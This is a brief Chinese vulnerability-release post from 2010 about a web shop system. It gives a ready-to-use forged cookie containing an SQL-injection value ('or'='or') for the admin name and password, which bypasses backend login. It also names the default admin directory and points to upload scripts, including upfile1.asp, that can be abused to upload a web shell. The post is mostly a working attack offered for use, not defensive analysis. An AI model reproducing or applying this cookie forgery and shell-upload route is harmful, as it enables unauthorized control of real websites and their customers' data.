COOKIES欺骗，下面的是COOKIES利用代码：
Sy%5FShops=TFlags=1%2C2%2C3%2C4%2C5%2C11%2C12%_2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C21%2C22%2C31%2C32%2C33%2C34%2C35%2C36%2C37%2C41%2C42%2C43%_2C44%2C51%2C52%2C53%2C54%2C55%2C56%2C61%2C62%2C63%2C64&AdminoldFlags=1&Truename=%CE%_DE&AdminFlags=1&AdminPassword='or'='or'&AdminName='or'='or';
这样可以进后台了
网站默认后台目录：Admin_Shop363
管理目录下有两个上传文件admin_upload.asp和admin_nupload.asp可以传递目录值.
csv目录里有上传文件upfile1.asp，可抓包上传shell。
0x0F 于2010年7月26日 发自 漏洞发布
